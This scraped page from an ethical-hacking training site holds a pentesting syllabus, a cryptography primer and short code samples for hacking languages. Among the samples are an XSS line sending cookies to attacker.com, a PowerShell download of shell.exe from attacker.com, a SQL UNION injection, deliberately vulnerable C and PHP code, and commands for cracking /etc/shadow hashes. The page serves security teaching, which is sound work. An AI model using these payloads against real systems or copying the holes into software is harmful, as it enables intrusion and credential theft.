Next‑Gen Security Hub

Master Cyber Security
From Zero to Hero

Learn ethical hacking, network security, and more with hands-on tutorials, expert resources, and a complete library.

10K+
Students
500+
Topics
50+
Labs
CyberSume Library

Explore All Courses

Complete collection of cybersecurity & programming tutorials β€” crafted for ethical hackers.

πŸ“š
0
Tutorials
πŸ—‚οΈ
0
Categories
πŸ›‘οΈ
0
Ethical Hacking
πŸ”§
0
Security Tools
Showing 0 of 0 tutorials
root@cybersume β€” /syllabus/ethical-hacking β€” bash
root@cybersume:~$./init_syllabus.sh --full
[i] Loading modules... [OK]
[i] Establishing secure connection... [OK]

Ethical Hacking
Syllabus

[+] Complete 12-week penetration testing course
[+] Beginner β†’ Advanced // theory + hands-on labs
[+] // #cybersecurity #pentesting #redteam
01 Course Modules
  • Understanding Ethical Hacking vs. Malicious Hacking
  • Roles of an Ethical Hacker
  • Legal and Ethical Aspects (Laws, Certifications, Compliance)
  • Penetration Testing Methodologies (OSSTMM, PTES, NIST)
  • Setting Up a Hacking Lab (Virtual Machines, Kali Linux, Metasploit)
  • Passive vs. Active Reconnaissance
  • Gathering Information Using: Google Dorking, WHOIS, DNS Lookup, Reverse IP Lookup
  • Social Engineering & OSINT Tools (Maltego, theHarvester)
  • Network Scanning Techniques (Nmap, Masscan)
  • Network Scanning Techniques (Ping Sweeps, Port Scanning)
  • Vulnerability Scanning (Nessus, OpenVAS)
  • Enumeration (NetBIOS, SNMP, LDAP, SMB)
  • Banner Grabbing & Service Fingerprinting
  • Dirb β€” Web Content Scanner Tool
  • Password Cracking (John the Ripper, Hashcat, Hydra)
  • Privilege Escalation (Windows & Linux)
  • Exploiting Vulnerabilities (Metasploit Framework)
  • Maintaining Access (Backdoors, Rootkits, Trojans)
  • Covering Tracks (Log Tampering, File Deletion)
  • Types of Malware (Viruses, Worms, Trojans, Ransomware)
  • Analyzing Malware (Static & Dynamic Analysis)
  • Reverse Engineering Basics (Ghidra, IDA Pro)
  • Antivirus Evasion Techniques
  • Packet Sniffing (Wireshark, Tcpdump)
  • MITM Attacks (ARP Spoofing, DNS Spoofing)
  • Session Hijacking (Cookie Stealing, TCP Hijacking)
  • SSL Stripping & HSTS Bypass
  • OWASP Top 10 Vulnerabilities
    • SQL Injection (SQLi)
    • Cross-Site Scripting (XSS)
    • Cross-Site Request Forgery (CSRF)
    • Broken Authentication
    • Security Misconfigurations
  • Web App Testing Tools (Burp Suite, OWASP ZAP)
  • API Security Testing
  • Wi-Fi Encryption (WEP, WPA, WPA2, WPA3)
  • Cracking Wi-Fi Passwords (Aircrack-ng, Wifite)
  • Rogue Access Points & Evil Twin Attacks
  • Bluetooth Hacking (BlueBorne, BLE Exploits)
  • Psychological Manipulation Techniques
  • Phishing Attacks (Email, SMS, Voice Phishing)
  • Creating Fake Login Pages (SEToolkit, GoPhish)
  • Defending Against Social Engineering
  • Cloud Security Risks (AWS, Azure, GCP)
  • Container & Kubernetes Security
  • IoT Device Exploitation (Firmware Analysis, Default Credentials)
  • Data Exfiltration Techniques
  • Pivoting & Lateral Movement
  • Writing Professional Penetration Test Reports
  • Mitigation & Remediation Strategies
  • Practical Challenges (Vulnhub, Hack The Box, TryHackMe)
  • Real-World Scenario Simulations
  • Final Project: Full-Scope Penetration Test

Certification & Career

Recommended Certifications

  • CEH β€” Certified Ethical Hacker
  • OSCP β€” Offensive Security Certified Professional
  • eJPT β€” eLearnSecurity Junior Penetration Tester
  • PNPT β€” Practical Network Penetration Tester

Career Paths

  • PEN TESTER β€” Find and exploit vulnerabilities
  • SEC ANALYST β€” Monitor and defend systems
  • RED TEAMER β€” Simulate advanced attacks

Assessment & Grading

Weekly Labs 40%
Mid-Term Exam 20%
Final CTF 20%
Report 20%
πŸ’» Cybersecurity Training

Programming Languages for Ethical Hacking

Essential programming languages for ethical hacking and cybersecurity training, along with their key uses and learning priorities.

⭐ Must Learn
Why Learn? #1 language for hacking and cybersecurity. Readable, versatile, with vast libraries for exploit development, automation, and tool creation.
  • Writing custom exploits (buffer overflows, RCE)
  • Automating attacks (brute-forcing, scraping)
  • Malware analysis & reverse engineering
πŸ“„ Example: Simple Socket Connection
import socket target = "192.168.1.1" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, 80)) s.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n") print(s.recv(1024).decode())
πŸ“š More...
🐧 Linux Essential
Why Learn? Critical for Linux-based hacking (Kali Linux). Automates repetitive tasks like scanning and payload generation.
  • Network scanning loops
  • Post-exploitation automation
πŸ“„ Example: Port Scanner
#!/bin/bash for port in {1..65535}; do timeout 1 bash -c "echo >/dev/tcp/192.168.1.1/$port" && echo "Port $port OPEN" done
πŸ“š More...
🌐 Web Hacking
Why Learn? Web hacking (XSS, CSRF, API exploits). Manipulate browser/DOM for client-side attacks.
  • Crafting XSS payloads
  • Node.js for server-side exploits
πŸ“„ Example: Cookie Stealing via XSS
// Stealing cookies via XSS fetch('http://attacker.com/log?cookie=' + document.cookie);
πŸ“š More...
πŸ—„οΈ Database Hacking
Why Learn? Database hacking (SQL injection, data theft). Understand backend queries to exploit them.
  • Exploiting SQL injection
  • Bypassing authentication
πŸ“„ Example: UNION Injection
UNION SELECT username, password FROM users--
πŸ“š More...
βš™οΈ Low-Level
Why Learn? Low-level exploits (buffer overflows, rootkits). Reverse engineering binaries.
  • Writing shellcode
  • Exploiting memory corruption
πŸ“„ Example: Buffer Overflow
#include <stdio.h> int main() { char buffer[10]; gets(buffer); // Vulnerable return 0; }
πŸ“š More...
πŸͺŸ Windows Hacking
Why Learn? Windows post-exploitation, Active Directory attacks. Often bypasses AV restrictions.
  • Lateral movement in Windows
  • Credential dumping (Invoke-Mimikatz)
πŸ“„ Example: Download and Execute
Invoke-WebRequest "http://attacker.com/shell.exe" -OutFile "C:\Temp\shell.exe"
πŸ“š More...
πŸ”΄ Metasploit
Why Learn? Metasploit modules are written in Ruby. Great for quick exploit prototyping.
  • Custom Metasploit modules
  • Web app testing
πŸ“„ Example: Simple TCP Server
# Simple TCP server require 'socket' server = TCPServer.new 4444 client = server.accept client.puts "Hacked!"
πŸ“š More...
🌐 Web Vulnerabilities
Why Learn? Web app vulnerabilities (RCE, LFI/RFI). Analyze CMS exploits like WordPress and Joomla.
  • Crafting web shells
  • Understanding server-side flaws
πŸ“„ Example: LFI Vulnerability
<?php if (isset($_GET['file'])) { include($_GET['file']); // LFI } ?>
πŸ“š More...
9. Assembly (x86/ARM)
πŸ”¬ Malware Analysis
Why Learn? Malware analysis & exploit development. Understand CPU-level attacks.
  • Writing shellcode
  • Reverse engineering malware
πŸ“„ Example: Hello World Shellcode
section .text global _start _start: mov eax, 4 ; sys_write mov ebx, 1 ; stdout mov ecx, msg mov edx, len int 0x80 msg db "Hacked!", 0xa len equ $ - msg
10. Go (Golang)
πŸš€ Modern Malware
Why Learn? Modern malware and RATs increasingly use Go. Cross-platform exploit development.
  • Building stealthy malware
  • Network tools (scanners, proxies)
πŸ“„ Example: Simple HTTP Server
package main import "net/http" func main() { http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { w.Write([]byte("Hacked!")) }) http.ListenAndServe(":8080", nil) }

πŸ“ˆ Cybersecurity Learning Roadmap

1 Start with Python / Bash (automation basics)
2 Add JavaScript / SQL (web hacking)
3 Learn C / PowerShell (low-level & Windows)
4 Explore Assembly (advanced exploits)
πŸš€ Pro Tip: Use TryHackMe / HackTheBox challenges to practice!
Essential Arsenal

Recommended Tools

Click any tool to see a complete guide β€” features, commands, installation, and best practices.

🐧
Kali Linux
Penetration Testing OS
View Details
πŸ’₯
Metasploit
Exploit Framework
View Details
🌐
Burp Suite
Web App Security
View Details
πŸ”
Nmap
Network Scanner
View Details
πŸ“‘
Wireshark
Packet Analyzer
View Details
πŸ”‘
John the Ripper
Password Cracker
View Details
⚑
Hashcat
GPU Hash Cracker
View Details
πŸ“Ά
Aircrack-ng
Wi-Fi Security
View Details
πŸ”§
Ghidra
Reverse Engineering
View Details
Cryptography

πŸ” Cryptography for Ethical Hackers

Master the science of securing information β€” from classical ciphers to modern AES, RSA, and post-quantum cryptography. Understand how encryption protects data and how attackers try to break it.

Level: Beginner–Advanced
Duration: 8 weeks
Prereq: Basic math & networking

What is Cryptography?

Cryptography is the practice and study of techniques for secure communication in the presence of adversaries. It provides the foundation for nearly all modern digital security β€” from HTTPS connections to encrypted messaging apps, password storage, digital signatures, and blockchain systems.

In ethical hacking, understanding cryptography is essential: you must know how data is protected, how encryption can be misconfigured, and where cryptographic weaknesses exist that attackers can exploit.

Core Goals (The CIA Triad)

  • Confidentiality: Only authorized parties can read the data (encryption).
  • Integrity: Data cannot be modified without detection (hashing, MACs).
  • Authentication: Verify the identity of the sender (digital signatures, certificates).
  • Non-repudiation: Sender cannot deny sending a message (digital signatures).

Types of Cryptography

1. Symmetric Encryption

The same key is used for encryption and decryption. Fast and efficient for bulk data.

  • AES (Advanced Encryption Standard): 128/192/256-bit keys. The gold standard today.
  • DES / 3DES: Deprecated β€” 56-bit keys are too weak.
  • Blowfish / Twofish: Fast, used in some legacy systems.
  • ChaCha20: Modern stream cipher, used in TLS 1.3 and WireGuard.

2. Asymmetric Encryption (Public-Key)

Two different keys: a public key for encryption and a private key for decryption.

  • RSA: Based on factoring large primes. 2048/4096-bit keys.
  • ECC (Elliptic Curve): Smaller keys, same security. 256-bit β‰ˆ 3072-bit RSA.
  • Diffie-Hellman: Key exchange protocol.
  • ElGamal: Used in PGP and some VPNs.

3. Hashing (One-Way Functions)

Produces a fixed-length digest from any input. Cannot be reversed.

  • MD5: 128-bit β€” broken, only for checksums.
  • SHA-1: 160-bit β€” deprecated (SHAttered attack).
  • SHA-256 / SHA-512: Secure, used everywhere.
  • bcrypt / scrypt / Argon2: Password hashing β€” slow by design.

Common Cryptographic Attacks

  • Brute Force: Try every possible key (infeasible for AES-256).
  • Dictionary Attack: Try common passwords against hashes.
  • Rainbow Tables: Precomputed hash β†’ password lookups.
  • Birthday Attack: Exploit hash collisions.
  • Man-in-the-Middle (MITM): Intercept and relay traffic.
  • Downgrade Attack: Force weak cipher negotiation.
  • Padding Oracle: Exploit error messages to decrypt data.
  • Side-Channel: Timing, power, or cache analysis.
  • Weak Key / IV Reuse: Predictable randomness.

Essential Commands & Tools

OpenSSL β€” Swiss Army Knife of Crypto

# Generate a 4096-bit RSA private key openssl genrsa -out private.pem 4096 # Extract public key openssl rsa -in private.pem -pubout -out public.pem # Encrypt a file with AES-256-CBC openssl enc -aes-256-cbc -salt -in plain.txt -out secret.enc # Decrypt the file openssl enc -d -aes-256-cbc -in secret.enc -out plain.txt # Generate SHA-256 hash openssl dgst -sha256 file.txt # Create a self-signed certificate openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 # Base64 encode / decode echo "hello" | base64 echo "aGVsbG8K" | base64 -d

GnuPG β€” Encrypt & Sign Files

# Generate a GPG key pair gpg --full-generate-key # Encrypt a file for a recipient gpg -e -r recipient@example.com file.txt # Decrypt gpg -d file.txt.gpg # Sign a file gpg --detach-sign file.txt # Verify signature gpg --verify file.txt.sig

Hashcat & John the Ripper β€” Cracking

# Identify hash type hashid hash.txt hash-identifier # Hashcat β€” MD5 dictionary attack hashcat -m 0 -a 0 hashes.txt rockyou.txt # John β€” auto-detect and crack john --wordlist=rockyou.txt hashes.txt # Crack /etc/shadow hashes unshadow passwd shadow > combined.txt john combined.txt

Other Useful Tools

  • CyberChef: Browser-based Swiss army knife for encoding/crypto.
  • Wireshark: Decrypt TLS with the session key log file.
  • SSLyze / testssl.sh: Audit TLS/SSL configurations.
  • sslscan: Discover supported ciphers and protocols.
  • rsatool / RsaCtfTool: Attack weak RSA keys.
  • FeatherDuster: Automated cryptanalysis.
  • xortool: Break XOR-based encryption.

Real-World Cryptographic Protocols

  • TLS/SSL: Secures HTTPS, email, VPNs. Uses AES + RSA/ECDHE.
  • SSH: Secure remote access. Uses AES + Diffie-Hellman + Ed25519.
  • PGP/GPG: Email encryption and digital signatures.
  • IPsec: VPN protocol suite.
  • Signal Protocol: End-to-end encrypted messaging (WhatsApp, Signal).
  • Blockchain: ECDSA signatures + SHA-256 hashing.

Post-Quantum Cryptography (PQC)

Quantum computers threaten RSA and ECC. NIST has selected new post-quantum algorithms:

  • CRYSTALS-Kyber: Key encapsulation (KEM).
  • CRYSTALS-Dilithium: Digital signatures.
  • FALCON: Compact signatures.
  • SPHINCS+: Hash-based signatures.

Ethical hackers should start learning PQC now β€” migration is expected by 2030.

Hands-On Practice Labs

  1. CryptoHack: Free, gamified cryptography challenges (cryptohack.org).
  2. CryptoPals: Classic crypto challenges from basics to AES (cryptopals.com).
  3. OverTheWire Krypton: Beginner crypto wargame.
  4. HackTheBox Crypto Challenges: Real-world CTF crypto tasks.
  5. TryHackMe: "Cryptography" and "Hashing" rooms.
  6. PicoCTF: Great for beginners β€” annual competition + archive.

Best Practices for Ethical Hackers

  • Never implement your own cryptography β€” use vetted libraries (OpenSSL, libsodium).
  • Always use authenticated encryption (AES-GCM, ChaCha20-Poly1305).
  • Use strong, unique keys β€” never reuse IVs or nonces.
  • Hash passwords with bcrypt, scrypt, or Argon2 β€” never MD5/SHA-1.
  • Prefer TLS 1.3 β€” disable TLS 1.0/1.1 and weak ciphers.
  • Use 2048-bit minimum RSA, 256-bit ECC.
  • Rotate keys regularly. Store them in HSMs or secret managers.
  • Only break cryptography on systems you are authorized to test.

Ready to go deeper?

Explore more courses in the library, or practice crypto challenges on CryptoHack and CryptoPals.

Back to Library

Bank Transfer Details

Use the details below to send your donation

Bank Name
Slice Small Finance Bank, India
Account Number
033311501067294
IFSC Code
NESF0000333

Feedback Form

All fields are required